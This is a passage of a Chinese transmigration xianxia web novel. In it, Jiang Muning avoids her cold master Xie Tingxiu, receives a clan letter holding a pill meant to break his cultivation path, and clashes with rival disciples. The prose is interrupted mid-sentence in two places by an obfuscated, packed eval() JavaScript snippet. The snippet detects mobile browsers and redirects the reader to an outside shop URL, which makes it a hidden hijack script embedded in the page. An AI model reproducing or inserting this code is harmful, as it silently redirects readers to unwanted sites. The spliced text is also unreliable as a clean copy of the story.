他的话渐渐恢复正常,陈玄昭心虚地抬眼看了一眼沈霁雪,噗通一声跪在地上,紧紧拉着岳明恪的手,态度诚恳、语气认真地道:“师伯,我与幽州的芳菲姑娘有过缘分。芳菲姑娘的身世凄苦,我心中曾有怜悯。我原是想去替她赎身的,她对我有意,更有过自杀之意,我只是为了安抚她才回了这些信。” 在座的各位各执一词,几位长老认为陈玄昭是受了丹药才会如此,无功无过,思过几日便可。 但沈霁雪与徐鹤白却觉得擅自脱离宗门,致使无辜百姓受伤,理应重罚。 最终经过一致决定,对陈玄昭实行幽禁半年、抄经三百遍的惩罚,而姜慕宁则思过十日,抄经一百遍的惩处,并未答应她离开水云峰的要求。 几人相看几眼,没有任何异议,就陆续地离开藏雷峰。 “小宁啊,亭修只有你一个弟子,你若是走了,他可就真的孤家寡人了。”岳明恪是太虚派的掌门,说起话来温温柔柔的,从不大声苛责弟子,实属难得,他语重心长地道,“别和你师尊置气,他将来飞升,这水云峰肯定是要传给你的,日后想回烈阳城和我说一声,师伯给你下山令牌。你听师伯的,好好与他相处。” 太虚派有个规矩,每个弟子下山前都得去地坤峰登记领取下山令牌,而这令牌是破开太虚山结界的关键,少数弟子灵力高强虽能破开结界,但也需去登记领牌,姜慕宁这次就属于无牌下山。 姜慕宁眼见没能得逞,扯了一抹难看的笑容,无奈地应和岳明恪的话:“我知道了师伯,日后不会再犯这样的错误。” 她暗自松了一口气,悄悄地挪了几步,悬下的心还未彻底放下,身体便有一阵寒冷的气息拂来,她冷不防地打了一个寒颤,抬眸去瞧时发现谢亭修的眼睛直勾勾地落在了自己的身上。 这……姜慕宁毫不迟疑地又挪开几步,垂眸解释道:“师尊,我真的没有勾结炼刀堂,也没有故意揭穿这些事,我只是想我爹娘了,我一直都知道师尊不喜欢我,我保证以后离师尊远远的,也不会再欺负谁。” 对于称师父或者是师尊,其实并不相悖,只因是当初她拜师之时,谢亭修境界太高,岳明恪特意要她如此尊称。 谢亭修眸色暗沉稍许,沾了尘霜的寒霜剑在他的手里逐渐隐没,凉意渐深,眼底泛起的波澜也趋向平缓,仿佛她的话如轻羽无足轻重,平静地道:“姜慕宁,只要你安分守己,不危害无辜者,我可以保你一世周全。” 原著里有这句话吗? 好像有,这头脑关键时刻总掉链子。 她疑惑的眼神落在了谢亭修的眼里,他错愕了一瞬,迅速地再次扫了她一眼,压下心中的异样情思,转头对着岳明恪说了几句悄悄话,没再看她,转身就离开了这个地方。 只剩下她和岳明恪两人,姜慕宁见谢亭修走远的身影,重重地呼了一口气,知道眼前的掌门是个极易心软的人,她软磨硬泡一番,终于得到了在天乾峰寄居几月的准许。 “你啊,小宁,师伯丑话说在前头,这次是看在你爹娘的份上才替你说了好话,你切勿再与那些外来子弟来往,还有你师尊,下次你再犯,他可不会饶你,速去领罚。” 说罢,岳明恪若有所思地盯了她几刻,忍不住叹了一口气,神情有些复杂地离开了这里。 接下来的三日,她都在藏雷峰度过,足足抄写了一百遍经书,姜慕宁看着写在纸上的乱七八糟的字体,顿时觉得死期将至,说是小说构造出的世界,但好歹也是参照了古代,写的字怎么也不会是现代歪七扭八的字。 再写一百遍。 还是不像,再写一百遍,终于有点像了。 姜慕宁在心里暗暗给自己打气,拿着抄好的经书交给李玄策,中途返回时还路过关押陈玄昭的地方,停了一瞬,头也不回地朝着天乾峰继续走着,她可不想回水云峰。 一想到要面对谢亭修,姜慕宁的双腿总是忍不住发软,怕他用那把寒霜剑了结自己,她还不如在这个宗门做个闲散弟子,逍遥自在地蹉跎岁月。 有钱、有法力,比寻常的百姓好了许多,至少有了更好的自保能力。 姜慕宁脚刚刚迈进天乾峰,掌门岳明恪便匆匆而来,如有急事般地停在她的面前。姜慕宁心想着岳师伯这么通情达理,竟然亲自来接她,她的面子可真大。 事与愿违的是,岳明恪只是递给她一样东西和一封密信,她随意地瞄了一眼信上的兰花花纹,脑海里自动浮现出原有的记忆,这是姜家的印章图文。 这任务这么快就下达了么? 岳明恪说话时声线十分轻缓,如春风过境,没有任何的凌厉,还带着一丝和蔼可亲的意味在其中,他说道:“小宁,这个是九层玲珑塔,曾是你师尊收服魅妖的法器,前几日我借来忘了归还,你现在替师伯送去给你师尊,如何?” 能拒绝的话姜慕宁早就拒绝了,她双手接过宝物和信,似视死如归般将脚抬起,转身走出天乾峰,不巧迎面走来沈霁雪和徐鹤白。 她几乎是下意识地喊住了沈霁雪,眸中歉意深深,语调缓慢:“师姐,从前是我心胸狭隘,误伤师姐多次,我在此向师姐赔个不是,往后我不会再伤害师姐,也不会再肖想徐师兄。” 沈霁雪微微一愣,没想到她的话竟会如此直白,这些话沈霁雪听了很多次,早已耳熟能详,不在意地道:“姜师妹若能想得开,也是件好事。徐师兄喜欢谁是他自己的事,师妹不用在此向我保证任何事。” 一旁的徐鹤白连忙解释:“霁雪,我喜欢你,只喜欢你。”男子这幅笨拙的模样,一点也不像在幽州沉着拒绝她的样子。 在场的姜慕宁石化了一阵,自动恢复后再观察四周时,她发现两人早已远去,眼瞳里映出两人打闹的亲昵动作。 不管怎么说,终究是她占了这个身份,不管是不是有意的,该承受的因果她还得承受。 * 一路走来,很多人看她的眼神大相径庭,多数是厌恶憎恶又极力压制,有时太过炽热,姜慕宁便顺着那目光看去,与那些人对视了一眼,和善地散发她那无害的笑容,却反倒把人吓得不轻。 姜慕宁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500682|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了,收好那副笑嘻嘻的模样,徒步走着,背后犄角旮旯的议论声如潮水涌来,她挥了挥手里的玲珑塔,笑着说道:“师兄、师姐、师弟、师妹,我往后不会再欺负你们了,先前是我鬼迷心窍,姜慕宁在此向你们道歉。” 说罢,她驻足停留,往四个方向依次作揖,她那身月色衣衫在其中很是扎眼,一眼望去,与其他弟子格格不入。 这些说辞,大多数人是不信的,但姜慕宁不在乎,她的眼睛向左右看了一眼,拿着宝物,越过人群走至水云峰的山门前,刚踏出一步,她的脑袋就被远处丢来的东西砸中。 “谁啊?给我出来!” 静如止水,唯有两岸青山流水潺潺而过的声音,苍穹飞雀排列成群,逍遥遁天入地,泄下奇光异彩覆上天地,其中云雾缭绕,弥漫着流光,逐渐勾勒出一幅优美的画卷。 没有任何人回应她,姜慕宁四处看了看,视线定格在左上方,那处只有靠近殿门的瑶枝轻晃了多次,一块轻盈的方巾掉落在地,她拾起来放在衣袖就没再在意地走了进去。 “师尊?师尊?” 姜慕宁推门进去,整个大殿空空荡荡,回响着她的声音,空气里夹杂着湿气和寒气,她借着脑中的记忆在水云峰游荡,足足寻了半个时辰,也没能寻到谢亭修的身影。 “谢亭修?”她最后还是停在了谢亭修的房间之外,不甘心地又敲了一次门,还是无人应答,她大着胆子喊着,“师尊,师伯要我将九层玲珑塔送来给你,弟子并非有意闯入师尊房间,放下东西后便离开。” 这鬼地方要人气没人气,要活物没活物,实在是太冷了,她还是早早回天乾峰,做她的逍遥弟子为好。 奇怪的是,门上的金色禁制熠熠生辉,焕发的光芒在她触碰过后便黯然无光,任由她推开了门,涌来的寒气如失了控制的流水一般袭来,吹起她脸颊两边的青丝,便悄然消逝。 这间房周围的布置还挺朴素,不似外面的雅致,地面结了冰霜,冉冉升起的寒气交缠在这处空间,姜慕宁迅速掠了一眼,决意把东西放在最显眼的位置——屏风前的书案上。 这样不愁谢亭修看不见。 “我再在这里待几个小时,估计要得老寒腿,这家伙的功法真独特,希望以后不要用在我的身上才好,至少等我吃到文里的山珍海味再死,这样也许就能回去。” 姜慕宁在心里默默地念叨着,近来她想了很多方法回去,都是徒劳无功,唯有一死尚有可能,但事情还没有到那个地步,也许死了也回不去,因此她决意先走一步看一步。 放好东西后,耳侧突然传来细微的水声,蔓延过来的水雾杂着丝丝檀香和别的香气,猝不及防地溜进她的鼻间,屏风上虚掩的身影卷起层层浪花,晶莹剔透的水珠溅在梅花屏风,顺着屏风的纹路缓缓晕成绽开的梅花花瓣。 “?”满怀疑问的姜慕宁看着前面,脑海里面的声音催促她赶紧离开,但她的身体却不由自主地走到了屏风前,眼神落在了池水里的身影。 朦胧间,灯火微弱,无形中掀起了她的一丝丝波澜,姜慕宁似乎看见了池中人的侧脸,水珠从他的额头滑落至肩,与从起伏的喉结滑落的珠子结合跌落在冒着水汽的水里,卷起的漩涡迅速与水面融为一体。 那是谢亭修的背影,清澈的水面漫至他的腰上,三千青丝覆在水面,湿发带着些许诱惑,她觉得心里漏了一拍,呼吸竟变得急促。 姜慕宁一时之间竟看得失神,迟迟不肯迈步,就等他转头,好叫自己看清那幅面容。 他的眉目如画,低垂的墨色眼眸仿佛总是含着情一般,有些许湿漉漉,却总是刻意显露出生人勿近的错觉,五官也极为端正精致,温润却又不失少年意气,面容俊美,薄唇微启,半倚靠在冰凉的石壁。 他眉间的金色额印“哐当”亮了一下,似在回应她的注视。 姜慕宁的指尖无意识地蜷缩,攥着衣袖,耳根也在一点一点地发红发热,心口跳得又急又重,像是在击鼓一般,眼睛黏在他的身上,不曾移开过半分,望着流水从他的额头流到锁骨,缓缓流淌下来。 这长得也太好看了吧! 水面轻轻地摇晃着,与若隐若现的烛火交相辉映,更是有种“欲抱琵琶半遮面”的错觉。 她的鼻子顿时有些痒痒的,“嘀”的一声,红色液体滑落在地,当她意识到是何物时,谢亭修像是察觉到了什么,突然转头,他的眸光透过朦胧的雾气与她的目光交汇了片刻,眸中的潋滟化作阵阵寒意,拧着眉,就施法将她移到了房外。 “你出去。”谢亭修冷不防地来了一句话,推她出去的瞬间,他拾起悬挂的衣物穿好,抬手将一池清水变走,令其恢复往日的布置。 姜慕宁的话落在风中,钻入谢亭修微微见红的耳侧:“师尊我不是故意的,我是……” 4. 识卿(四) 原著对谢亭修的长相只有俊美两个字的描写,但对徐鹤白却有整整一千字的描绘,姜慕宁没有想到这书里的描写放到谢亭修的身上竟会这么让人移不开眼。 她被推到屋外,背被迫靠在一旁的梅花树上,赶紧擦了擦没骨气的鼻血,没过一阵,她的身体像是脱离她自己的控制,被里面袭来的灵力圈住,生生地扯进了屋里。 “来这里做什么?”谢亭修重新换好了一身衣裳,衣袂翩跹,他审视的眼底多了些许好奇,“姜慕宁,何人教你破我结界的?” 平常的姜慕宁连他的水云峰都不会靠近一步,就算是送些东西也只是丢在外面等路过的弟子捡起来送进来,绝不会亲自送来。 就算她侥幸抵达他的居所,也有结界阻拦,怎会来得悄无声息,连他也未曾察觉。 姜慕宁被他的目光看得有些不自在,垂眸不语间隙中忍不住抬头观赏谢亭修的容颜,然后低头去看他的靴子,她的心里迅速组织好语言,说得极快:“师尊,是师伯要我给你送九层玲珑塔,我找了你半个时辰,觉得师尊会在房间便进来了,这房里还有结界?应是手中的玲珑塔破了师尊的结界。” 她说的诚挚无比,丝毫没有任何心虚的表现,给了谢亭修一点信服力。 谢亭修不再追究她的失礼,只是抬手取来玲珑塔,细细观摩一番后收入袖中,并不打算放她离开,“姜慕宁,我教你的法术练得如何?趁着今日你来此地,给我演示一遍。” 呃……这这这,她能不能说现在身上没啥他所教灵力的记忆点,虽说这具身体有一些灵力,她也能够凭着记忆使用,但并不是全部记忆都有。 姜慕宁半退一步,心虚地挠挠耳前的两绺青丝,想着赔笑,转眼间想起原主平日对待谢亭修的态度,心里的胆怯削减了不少,更有一种猜测从心中涌来,让她一阵后怕:“你何时教过我法术?谢亭修,从我拜师那日开始,你从未正眼看过我,我现在习得的修为都是徐鹤白传授的!你空有一身灵力,却总是高高在上地看着任何人。” 糟糕,把心里话说出来了! 会不会死? 不会吧…… 她说得尤其大声,声音在整个屋子里不停地回响,姜慕宁尴尬地扣了扣大腿,见谢亭修眼里有了一点变化,以为是他动了怒气,连连补充道:“嘿嘿,不过师尊日理万机,破境指日可待,是有高高在上的资本,弟子一时胡言,师尊勿怪。” 怎料谢亭修非但不气,反而看她时眼眸里多了一丝兴趣,语气平淡如常,顺着她的话继续说道:“既然你拜了我做师尊,那我自然有教你本事的义务。从今日起,你随我住在水云峰。此事,没有一点商量。” 姜慕宁:“……” 不是这个意思啊,我想的是住天乾峰,姜家那些事爱谁管谁管,反正我不管。 怎么和原著的发展完全不一样,这谢亭修不是应该特别讨厌自己的吗?怎么还上赶着和她扯在一起,难道他不知道她拜他为师的目的吗? 她慌张地眨了眨眼睛,这些话让她胆战心惊,拒绝的话脱口而出:“师尊,弟子觉得修为已经足够自保,不需要再修炼。师尊是即将飞升的上仙,弟子不求像您一般厉害,只求余生无忧便好……何况,弟子想与徐师兄一起修炼!” 此言一出,空气安静了片刻。姜慕宁不给他拒绝的机会,迈步准备离开,匆忙之际藏在衣袖里的信掉落在地,她想也不想握在手里,没过一瞬,信笺便飞到了谢亭修的掌心。 “这是何物?”谢亭修垂下眼眸,若有所思地用指腹轻轻抚过这装了信笺的圆形信筒,无意中拨动了她的心弦,姜慕宁快步走过去握住另外一端,没扯过来,只好尴尬地笑了一下,“呃……师尊,这是我大伯给我送来的信,还给弟子吧。” 信上的内容想也不用想是哪些话和东西,要是让他看到,她不得死路一条了。 谢亭修的动作没有持续多久,撒开另外一端,半步走开,将东西还给了她。 他好像在观察自己,那目光掩藏着捉摸不透的疑惑和好奇,大概过了一盏茶的功夫,耳侧传来他微冷的嗓音:“姜慕宁,你未得我的允许擅入我的房间,多有冒犯,加之怨气邪气集于一身,应当有罚,你自去藏雷峰抄《清心经》三十遍,也不必回我水云峰,何时抄完,何时回来。在我这里没有讨价还价,若不满意,一百遍如何?” 一百遍! 这是要她的命! 若非岳明恪要她前来,说什么她都不会过来的。早知如此,姜慕宁就该推脱掉这个苦难的差事,他怎么会摊上这么一个不通人情的师父! 姜慕宁心疼地看着发酸的手,没骨气地晃动了两下,偷偷翻了个白眼,转念一想,心上见喜,“弟子知道了。弟子现在就去抄,不抄完,弟子绝对不会回来。” 这样一来,她不抄完就好了,也不用回来面对这个无情无义的破石头。 当真是好。 谢亭修敛起眉头,额间金印逐渐暗淡,脸上没有任何多余的表情,淡淡地道:“给你个期限,半个月。若你半个月还没有完成任务,自去藏雷峰领一道天雷,以示警戒。” 狐假虎威,装什么? 当然,姜慕宁只能在心中咒骂眼前这个名义上是她师尊的男子,脚步迈得飞快,一点也不曾停留。 临走之前,一只飞鸟径直越过她袭向了谢亭修的身前,在他的头上盘旋了几阵,姜慕宁不小心瞥到了那只飞鸟脚上的红色飘带印好的字样,脑海里浮现出从前看过的文字。 愣神时,谢亭修的眼神落在了她的身上,半是威胁半是催促地道:“还不离开。” 这里所在的世界观也没有完全脱离原著剧情,姜慕宁认得刚才的飞鸟,应是天阙国师的爱宠,她依稀记得谢亭修并没有接受天阙国师的提议,也没有与天阙世家之人有过交涉,一路畅通无阻地修成了无情道。 这破地方,鬼都嫌弃。若非岳明恪给她下的任务,她再也不想踏入这寒气逼人的水云峰。 “师尊既然有事,弟子自然不敢打扰,这就离开。”她再度笑了笑,瞧上去十分的善解人意。 女子的笑容好似初升的羲和,充满了朝气蓬勃,这样的姜慕宁不似姜慕宁,一举一动皆是大相径庭,却又难以从中寻到其他的气息。 是她,也不似她。 同样是惧怕,但谢亭修觉得,现在的姜慕宁比起以前的姜慕宁要多些正气,但愿清心咒能够去她邪气,勿要剑走偏锋。 凌乱的蓝色衣裙好似飞舞的蝴蝶,飘摇在谢亭修的眼眸中,只是滞留了一瞬便失了踪迹,仿佛她坠入绚烂的花丛再难追寻一般。 他若有所思地召出寒霜剑灵,想要再问些近日它的异常,但寒霜剑剑灵选择装死,他轻抚半刻,选择将其隐去。 粗略地看过飞鸟带来的书信后,谢亭修催动手掌的灵力,令其信物在半空被焚烧,直至湮灭方才罢手。 多此一举之事再做,也只是枉然罢了。 * 姜慕宁步至藏雷峰,目光瞥向远处隆起的雷山,无数雷电纵横交错地劈向地面屹立不倒的藏雷塔上,连在石塔的结界霎时遍布雷电所化的流光,一次又一次地涌向各个峰,未落至结界的天雷则化作多道烟花瞬间袭向上空炸开,绘成各具一色的画卷便悄然离场。 她看得出神,连身旁站了人也没有察觉,直到那人开口:“姜师妹死里逃生,又得谢师叔本命剑相护,看来从前的流言是假,你们的师徒情深是真。” 这话怎么听起来酸溜溜的。姜慕宁从沉溺于美景中醒来,偏头瞧了眼身旁的女子,仔仔细细地看着这人的衣着,奋力想要在脑海寻到这抹身影,只是可惜是徒劳无功。 这记忆一会儿灵,一会儿不灵的。 不过看这女子的年纪与她相差不大,姜慕宁是这批弟子中年纪最小、入门最晚的,称呼师姐应该没错。 她轻咳了一声,有些不自然地道:“见过师姐。” 面前这个女子穿着比较朴素,是太虚派山门里提供给弟子的服饰,一袭淡蓝衣衫,纤细的腰间清然系着一枚别致的深绿玉佩,瞧上去与这身衣物有些格格不入。 至于女子的面容,乃是清新脱俗之相。 此文章的男子女子大多数都是俊的美的,姜慕宁觉得这作者肯定是个颜控。 “瞧师妹这副模样,不认得我了?”女子化出 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宋月照似是松了一口气,轻拍她的肩膀安慰着:“一直以来我都觉得谢师叔过于苛责,总是忙于修炼,疏忽了你的修行,如若不然,你换个师父也罢。” 这,姜慕宁巴不得谢亭修让她自生自灭,可这家伙似乎觉得她还有救,有意无意地点拨她几句。 最重要的是,他的那把寒霜剑剑曾救过自己,再怎么说,和旁人数落自己的救命恩人十分不合适,她做不出来这样的事。 于是姜慕宁摇了摇头,眨了眨聪慧的眼,立即道:“不不不,师姐你误会了。我师尊这个人其实很好,从前是我有眼不识泰山,现在我会跟着他好好修行,早日继承他的衣钵。” 这话给姜慕宁自己都逗笑了,她掩着面继续说道:“师姐便送到这里吧,我还有急事。” 说是急事,也非急事。 姜慕宁只是想寻个比较安全的地方查看姜家给她的信写了哪些内容,怎料这宋月照跟得寸步不离,着实没有机会。 宋月照纹丝未动,待在原处静静地观察她的神情,笑容淡去,继而认真地道:“师妹,我是认真的。谢师叔喜怒无常,平时总是闭关,你又是个喜爱玩闹的人,这三年来,你可有习到半点功法?” 不得不说,宋月照这些话的确给了她很多启发,但这最根本的问题并不在谢亭修的身上,而在于姜慕宁的身上,进一步追其缘由,则过在设定。 她闻言装作不明白的样子,傻傻地笑一笑,拾起那副和善的表情,如惊喜般道:“师姐,你可真是我的好师姐,总是处处为我着想。可换师父这件事绝非儿戏,这事我们得从长计议。我会记住师姐的教诲的。” 宋月照的神色终于比刚才好了一些,亲切地拉住她的手腕,对她温柔地露出一抹微笑:“师妹,我们天阙五家同气连枝,你的事便是我的事。我愿为师妹分忧,更愿为你解惑。” 姜慕宁冲其点点头,期间生疏地扒开宋月照的手,附和道:“师姐,有你这句话我便放心了。只是师姐,我师尊还要我去藏雷峰取些修行的古籍,马上宵禁,我得快些去了。” 说罢,宋月照没有继续纠缠,转身离去那刻,姜慕宁捕捉到她眼底流露出的那一丝狠厉。 宋月照发觉她的目光后,与她缓缓对了视,释放着笑容,可那股笑容却处处透露着古怪,明明在笑,姜慕宁却觉得有些阴森。 可能是错觉罢。 她们素昧相识,并非敌对。可姜慕宁的目光却不由自主地紧追着宋月照的身影,抵达对岸的离火峰。 寒风凛冽,不停地吹起了她的青丝。酉时的钟声响起那刻,诸多弟子陆续从藏雷峰离开,纷纷地从她的身侧走过。 有的人觉得她依旧死性不改,故意装出那副善良无害的模样,一个好脸色也不想给她,翻个白眼、暗自瞪她便议论着离开。 有的人却觉得她那日的道歉比较诚心诚意,心软之余朝她点了一下头便也陆续远走,剑拔弩张的气氛总归是有所缓和。 姜慕宁这几日也没有闲着,本着和睦相处的原则,对从前欺负过的同门大献殷情,至少改变了些其他人对她的看法。 她仰头去观高楼逐渐熄灭的灯火,等其他人走得差不多后才提步走进藏雷峰。 5. 识卿(五) 姜慕宁第二次来到藏雷峰的藏经楼,望着古色古香的古楼,她不由得赞叹古时先辈的智慧,驻足片刻,她提步往前继续走着。 藏经楼共有三层,越是高层,所贮藏的古籍便越是珍贵。 四周清静如夜,楼里大多数弟子结伴寻找要借阅的书籍,写好所属山峰和姓名后便迅速离开,不忘瞄了她几眼,匆匆离去。 她随意在一楼瞄了一眼,走得极慢,如回家般抽走那本要抄写的古籍,随后走进一间僻静的阅览书籍的内室,谨慎地将门紧紧关好。 这些都源于前几日她寻不到要抄写的书,只能挨个挨个地找,负责看守的弟子一看是她便如临大敌般退开步子,瞧她的神情带着别样的思绪,想接近又怕她是故意装出来的模样。 毕竟,姜慕宁在天阙的名声要多臭便有多臭。 莫不是那日的道歉不够诚恳?也罢,管旁人的眼光做何。 姜慕宁环顾四周,选定好一处隐秘的角落,便小心翼翼地坐好,她缓缓摊开缀满花纹的信筒,里面的字体飘浮而上,一闪一闪地发出奇光。 信里的内容她大致可以看懂一些,姜慕宁好歹是个即将步入社会的大学生,对于古文也有些兴趣,平日钻研钻研,也能看明白个大概,只是在描摹古体方面欠缺了一点。 她小声地念了出来。 “宁儿入山三载是否安然?伯母甚是想念宁儿承欢膝下的日子,故而邀宁儿本月既望归家一叙,此事已禀明岳掌门与宁儿师尊,无须携带令牌下山。当初宁儿承天意拜入太虚,可要认真修行,切记勿忘姜家列祖列宗所托大事,其中还有玄机,以宁儿之聪慧,定能探得妙法。” 姜慕宁:“……”说的文绉绉的。 说得云里雾里的,姜慕宁默默地把着信物扔在桌上,同时她的小腹不争气地咕咕叫了出来,她耐着性子将信筒里里外外都检查了一遍,还是毫无异常。 大概意思就是让她不要忘记当初拜师的真正目的,姜堰是她的伯父,平日里不见他嘘寒问暖,偏偏在谢亭修即将闭关破境之际传来要信。 她现在有两个选择。 第一,按照姜堰的指示继续引诱谢亭修,坏他道心,下场就是一个字,死! 第二,无视姜堰的指示,选择视若无睹,远走高飞,抑或是与谢亭修和睦相处,寻求他的庇护。 思来想去,姜慕宁选择了第二条,置若罔闻,俗话说,求人不如求己,姜慕宁还是更喜欢靠自己。 听闻有一奇物可穿梭时空,或许她能够求得返回现实的道途。 “啊!我不做了!到时候就说是在危机时刻不小心弄掉的,这样姜家的人也拿我没有办法。”姜慕宁在心里默默地道,想着想着她随手把信以一种十分潇洒的姿态扔在地上,亲眼看着东西碎落一地。 “这剧情,我不走了,我就在这里待半个月,反正半个月后到了七月十六,我连谢亭修都不用去见,抄好的经书交给岳师伯代为转交,我直接下山,找个地方安度余生,这些都和我没有关系了,哈哈哈。” 快哉、快哉。 想到这里,姜慕宁便笑出了声。 可就在下一刻,姜慕宁的目光转至地面时,却是笑不出来了。 只见那碎落的信笺绽出此起彼伏的光点,逐渐拼接成一颗豆粒般大小的朱色灵丹,缓缓飞入她的手间,蕴藏在其中的字也现了出来—— 破无情道,需此灵丹。 不是,还有这个操作? “无情道,我只怕还没有来得及迈出一步就掉进了坑,姜堰这老家伙可劲逮着我坑啊。”姜慕宁满眼震惊地接住这颗闪烁着光芒的丹药,用力捏住掌心里的圆形药丸,想要用蛮力将它捏碎,但它纹丝不动,越是用力,光芒就越强烈。 试到最后,姜慕宁选择妥协,不再尝试,无奈地将东西放在衣袖里的乾坤袋里,坐回占好的位置,望着空空如也的白纸,提笔蘸了蘸墨水,写下几行字,喃喃地道:“这破东西下山再找个地方扔了算了。” 悬月轻柔地伏在摇晃的枝桠上,悄悄然爬上她身侧的窗棂,将明明灭灭的残影映在了姜慕宁的脸上,微弱的风从镂空的缺口直抵她的脸庞,她打了一声喷嚏,准备起身去把窗棂关好。 “高处不胜寒啊。身体要紧,身体要紧。”姜慕宁移到窗棂前,指尖落在两侧,正欲关闭时,一抹极快的身影哗哗哗地从她的眼前闪过,好巧不巧地与她对视了一眼,她想也不想,立即将窗棂关得死死的,密不透风般连一只苍蝇也没能放进来。 要死了,要死了。 姜慕宁将桌上的东西一扫而空,抱着东西狂奔下楼,抵达第一层古楼,门一触及紧闭的木门时,没等她反应过来,一阵炫光袭来,径直击在了她的手上。 “!”她吃痛地撒开手,没看清来人是谁,阵阵痛意涌上心头,怒意也不由得上涌,欲说的怒意与被掐灭的烛火一同消散在漆黑寂静的密闭空间里。 窸窸窣窣的声音此起彼伏地响在每一个角落,没有持续多久就陷入了一片死寂,心跳也随之跳得越来越快,她颤栗般贴在冰冷的木门,壮着胆子喊道:“谁?谁在装神弄鬼?我师尊是天下第一的谢亭修,你敢伤我,你就死定了!” 静了几刻,里面突然传来一道明快洒脱的声音,听这声音似乎十分不满她的话:“鬼叫什么?谢亭修算什么东西?我师父南宫酒才是天下第一好不好?” 是个女子的声音。 姜慕宁耳朵动了动,判断声音的来源在自己的右上方后,也立即答了女子的话:“唉,师姐,我是一时胡言乱语,你快现身吧,别吓唬我了。” 女子轻嗤,脚步轻盈地从黑暗中缓缓走出,若隐若现的微光在其手上出现,似萤火虫忽明忽暗,袭向姜慕宁身后被束缚的门锁,打趣道:“哟,姜慕宁,你还会称我作师姐呢?真是太阳从西边出来,江海湖泊都要开始倒悬了呢。” 姜慕宁倒是坦然面对一切,没太在意话里的弦外之音,客气地说:“唉呀,师姐这是哪里的话,我们都是太虚派的弟子,定要好好相处的。师姐,不如你把灯开开?” 一声轻哼轻轻落下,伴随着一阵风动涌过。 被扑灭的烛火霎时被风吹燃,紧靠着的门褪去了钳制往后倒去,姜慕宁迈出一步,目睹木门脱节断裂,再看四周的环境,窸窣声得以止息,仿佛刚才何事也没有发生。 “真是见鬼了,哪哪都能碰到人,这是有什么NPC任务指标么?”她小声地嘟囔,怎么什么事都能让她遇上,走到哪里都会遇到固定的人,这种感觉就像她在闯关一样,体验感是一点没有,全是神出鬼没的人物在陆续登场。 有时候,姜慕宁真的厌烦了这种难以捉摸的情绪。 姜慕宁不由自主地转头去看身旁的绿衣姑娘。这姑娘年纪与她应差不了多少,琉璃耳坠别致透光,五官精致立体,长相天生带着特有的攻击性。姜慕宁实在想不出此人到底是谁,也没听进对方的话,只能带着试探性的口吻轻轻唤了一声:“祝锦溪?” 闻言,女子忍不住蹙眉,嫌弃的眼神在她的身上游荡了一圈,语气高扬:“刚才还在亲亲切切地唤我师姐,怎么现在现出原形了,姜慕宁?早知你是个无礼多变的人。” 蒙对了! 她记得此女子好像不是善茬,须速速远离。 祝锦溪是天阙五大世家之一祝家家主祝礼的独生女儿,备受宠爱,骄纵说不上,但跋扈能够算得上,特别厌恶沈家人,尤其是沈霁雪和沈珏。 趁着间隙,姜慕宁努力在脑海里寻找关于祝锦溪的剧情,却如何也想不起来这些人的故事结局,只好无奈作罢。 身旁的姑娘乜斜她一眼,说道:“姜慕宁,这般胆小怕事,这可不像你,还是说,这是你想出的新招式?扮成柔弱小白花,让徐鹤白可怜?” 她认真地答道:“我已决意不再纠缠徐鹤白,他喜不喜欢我是他自己的事。你怎么会在这里?” “你能来,我为何不能来?”祝锦溪反问道。 她一听这语气便知祝锦溪不喜欢她,正好她也不喜与人纠缠,道:“当然能来,藏雷峰是雷长老的地界,所有弟子都可以来。我寻到了要寻的感觉,便不再次打扰师姐。” 姜慕宁只想快点离开这里,说话的速度快了很多,祝锦溪似乎料到她的意图,看也不看就抬手挡去她的路,显然不信她的说辞,怀疑地道,“你这么急着离开,是不是做了亏心事?不过我才不管徐鹤白喜欢谁,我只想知道沈霁雪那本秘籍在哪,你答应过我,替我抢过来。” 这她怎会知道在何处? 抢也能说的这般冠冕堂皇,她顿时语塞,还没有继续开口,祝锦溪却开始咄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500684|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咄逼人:“你曾经和我说,你想杀了沈霁雪。这次的计划便是极好的机会,你若不替我出手,我倒也不介意去寻谢亭修,说说你不为人知的一面。” 威胁,威胁,又是威胁! 谁都能来踩她一脚,凭什么! 姜慕宁抬眸与其对视,手却下意识地拍开祝锦溪阻拦的手臂,再绕到一旁,没好气地道:“口说无凭,有本事你便去,看谁说得过谁。” 反正谢亭修马上要闭关破境,没这个闲暇时间见客。 “何况,沈霁雪的秘籍在哪我怎么知道?我也不是她肚子里蛔虫,还有你问错人了,时辰也不早了,我得先回去了。” 一寸流光倏忽绕过姜慕宁,毫不迟疑地击在藏经楼两旁的梧桐树,引得树上的落叶簌簌掉落,再卷作一团,最后狠狠地砸向地面,铺了满地,尘土也被风带起,大半落在了姜慕宁的衣袖上。 “等等,我让你走了吗?”祝锦溪不屑地扫她一眼,威胁地说道。 这是示威吗? 姜慕宁抖抖衣袖,把粘在上面的梧桐叶和沙土抖落出去,意识到自己并非眼前人的对手,认了怂,“祝锦溪你这个……师姐还有其他的事吗?” 这人说翻脸就翻脸,姜慕宁想着多一事不如少一事为好,她立在原地,向对方释放出她的善意微笑:“我觉得沈霁雪的东西肯定被她给藏好了,夺她人之物总归是不好的,改日我去向她借借。” 不笑还好,一笑,祝锦溪越发想要掐灭她的笑容,踩在脚底下。 